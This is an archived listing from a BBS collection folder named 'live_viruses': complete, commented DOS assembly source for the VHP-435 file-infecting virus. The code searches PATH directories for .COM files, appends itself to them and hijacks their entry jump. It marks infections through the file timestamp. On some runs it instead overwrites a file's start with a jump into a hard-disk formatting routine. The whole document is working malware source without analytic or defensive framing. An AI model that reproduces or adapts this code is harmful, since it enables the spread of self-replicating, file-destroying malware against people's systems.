home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
The Unsorted BBS Collection
/
thegreatunsorted.tar
/
thegreatunsorted
/
live_viruses
/
virus_collections
/
vhp-435.asm
< prev
next >
Wrap
Assembly Source File
|
1989-07-26
|
7KB
|
304 lines
name Virus
title Virus; based on the famous VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
newjmp equ 7Bh ;Code of jmp instruction
codeptr equ 7A ;Here is formed a jump to virus code
pname equ 78 ;Offset of file name in dir path
poffs equ 76 ;Address of 'PATH' string
errhnd equ 74 ;Old error handler
fname equ 70 ;Path name to search for
mydta equ 2C ;DTA for Find First/Next:
attrib equ 17 ;File attribute
time equ 16 ;File time
date equ 14 ;File date
fsize equ 12 ;File size
namez equ 0E ;File name found
start:
jmp short virus
nop
int 20
data label byte ;Data section
saveins db 3 dup (90) ;Original first 3 bytes
allcom db '*.COM',0 ;Filespec to search for
pathstr db 'PATH='
;This replaces the first instruction of a destroyed file.
;It's a jmp instruction into the hard disk formatting program (IBM XT only):
bad_jmp db 0EA,5,0,0,0C8
virus:
push ax
push cx ;Save CX
call self ;Detrmine the program start address
nop ;For those looking for the E80000 pattern
self:
pop bx
sub bx,self-data-1 ;Keep BX pointed at data
cld
lea si,[bx+saveins-data] ;Instruction saved there
mov di,offset start
mov cx,3 ;Move 3 bytes
rep movsb ;Do it
mov si,bx ;Keep SI pointed at data
push bp ;Reserve local storage
mov bp,sp
sub sp,7C
mov ah,30 ;Get DOS version
int 21
cmp al,0 ;Less than 2.0?
jne skip1
jmp exit ;Exit if so
skip1:
push es ;Save ES
mov ax,3524 ;Get interrupt 24h handler
int 21 ; and save it in errhnd
mov [bp-errhnd],bx
mov [bp-errhnd+2],es
mov ah,25 ;Set interrupt 24h handler
lea dx,[si+handler-data]
int 21
lea dx,[bp-mydta]
mov ah,1A ;Set DTA
int 21
push si
mov es,ds:[environ] ;Environment address
xor di,di
mov bx,si
srchfirst: ;Search 'PATH' in environment
lea si,[bx+pathstr-data]
lodsb
scasb ;Search for first letter ('P')
jne nextp
mov cx,4 ;4 letters in 'ATH='
rep cmpsb
je pfound ;PATH found, continue
nextp:
cmp byte ptr es:[di],0
je notfound ;End of environment?
mov cx,8000 ;Maximum 32 K in environment
mov al,0 ;If not, skip thru next 0
repne scasb ; (i.e. go to next variable)
jmp srchfirst ; and search again
notfound:
xor di,di ;0 indicates no PATH found
pfound:
pop si ;Restore SI & ES
pop es
mov [bp-poffs],di ;Save 'PATH' offset in poffs
lea di,[bp-fname]
mov [bp-pname],di
filesrch:
lea si,[bx+allcom-data]
mov cl,3 ;3 words in ASCIIZ '*.COM'
rep movsw ;Move '*.COM' at fname
mov si,bx ;Restore SI
mov ah,4E ;Find first file
lea dx,[bp-fname]
mov cl,11b ;Hidden, Read/Only or Normal files
int 21
jc nextdir ;If not found, search in another directory
checkfile:
mov al,[bp-time] ;Check file time
and al,11111b ; (the seconds, more exactly)
cmp al,62d/2 ;Are they 62?
;If so, file is already contains the virus, search for another:
je findnext
;Is file size greather than 64,000 bytes?
cmp [bp-fsize],64000d
ja findnext ;If so, search for next file
;Is file size greater or equal to 10 bytes?
cmp word ptr [bp-fsize],10d
jae process ;If so, process file
findnext: ;Otherwise find the next file
mov ah,4F ;Find next file
int 21
jnc checkfile ;If found, go chech some conditions
nextdir:
mov si,[bp-poffs]
or si,si
jnz skip2
jmp olddta ;Exit if end of environment reached
skip2:
push ds ;Save DS
lea di,[bp-fname] ;Point ES:DI at fname
mov ds,ds:[environ] ;Point DS:SI at the PATH variable found
cpydir:
lodsb ;Get a char from the PATH variable
cmp al,';' ;`;' means end of directory
je enddir
cmp al,0 ;0 means end of PATH variable
je endpath
stosb ;Put the char in fname
jmp cpydir ;Loop until done
endpath:
xor si,si ;Zero SI to indicate end of PATH
enddir:
pop ds ;Restore DS
mov [bp-poffs],si
cmp byte ptr [di-1],'\'
je skip3
mov al,'\' ;Add '\' if not already present
stosb
skip3:
mov [bp-pname],di
jmp filesrch
process:
mov di,[bp-pname]
lea si,[bp-namez] ;Point SI at namez
cpyname:
lodsb ;Copy name found to fname
stosb
cmp al,0
jne cpyname
mov si,bx ;Restore SI
mov ax,4301 ;Set file attributes
mov cl,[bp-attrib]
and cl,not 1 ;Turn off Read Only flag
int 21
mov ax,3D02 ;Open file with Read/Write access
int 21
jc oldattr ;Exit on error
mov bx,ax ;Save file handle in BX
mov ah,2C ;Get system time
int 21
and dh,111b ;Are seconds a multiple of 8?
jnz infect ;If not, contaminate file (don't destroy):
;Destroy file by rewriting an illegal jmp as first instruction:
mov ah,40 ;Write to file handle
mov cx,5 ;Write 5 bytes
lea dx,[si+bad_jmp-data] ;Write THESE bytes
int 21 ;Do it
jmp short oldtime ;Exit
;Try to contaminate file:
;Read first instruction of the file (first 3 bytes) and save it in saveins:
infect:
mov ah,3F ;Read from file handle
mov cx,3 ;Read 3 bytes
lea dx,[si+saveins-data] ;Put them there
int 21
jc oldtime ;Exit on error
cmp ax,3 ;Are really 3 bytes read?
jne oldtime ;Exit if not
;Move file pointer to end of file:
mov ax,4202 ;LSEEK from end of file
xor cx,cx ;0 bytes from end
xor dx,dx
int 21
jc oldtime ;Exit on error
add ax,virus-data-3 ;Add virus data length to get code offset
mov [bp-codeptr],ax ;Save result in codeptr
mov byte ptr [bp-newjmp],0E9
mov ah,40 ;Write to file handle
mov cx,endcode-data ;Virus code length as bytes to be written
mov dx,si ;Write from data to endcode
int 21
jc oldtime ;Exit on error
cmp ax,endcode-data ;Are all bytes written?
jne oldtime ;Exit if not
mov ax,4200 ;LSEEK from the beginning of the file
xor cx,cx ;Just at the file beginning
xor dx,dx
int 21
jc oldtime ;Exit on error
;Rewrite the first instruction of the file with a jump to the virus code:
mov ah,40 ;Write to file handle
mov cl,3 ;3 bytes to write
lea dx,[bp-newjmp] ;Write THESE bytes
int 21
oldtime:
mov dx,[bp-date] ;Restore file date
mov cx,[bp-time] ; and time
or cl,11111b ;Set seconds to 62 (?!)
mov ax,5701 ;Set file date & time
int 21
mov ah,3E ;Close file handle
int 21
oldattr:
mov ax,4301 ;Set file attributes
mov cl,[bp-attrib] ;They were saved in fattrib
mov ch,0
lea dx,[bp-fname]
int 21
olddta:
mov ah,1A ;Set DTA
mov dx,80 ;Restore DTA
int 21
push ds ;Save DS
mov ax,2524 ;Set interrupt 24h handler
mov dx,[bp-errhnd] ;Restore saved handler
mov ds,[bp-errhnd+2]
int 21
pop ds ;Restore DS
exit:
mov sp,bp
pop bp ;Restore BP, CX & AX
pop cx
pop ax
xor bx,bx ;Clear registers
xor dx,dx
xor si,si
mov di,offset start ;Jump to CS:100
push di ; by doing funny RET
xor di,di
ret
handler: ;Critical error handler
mov al,0 ;Just ignore error
iret ; and return
endcode label byte
code ends
end start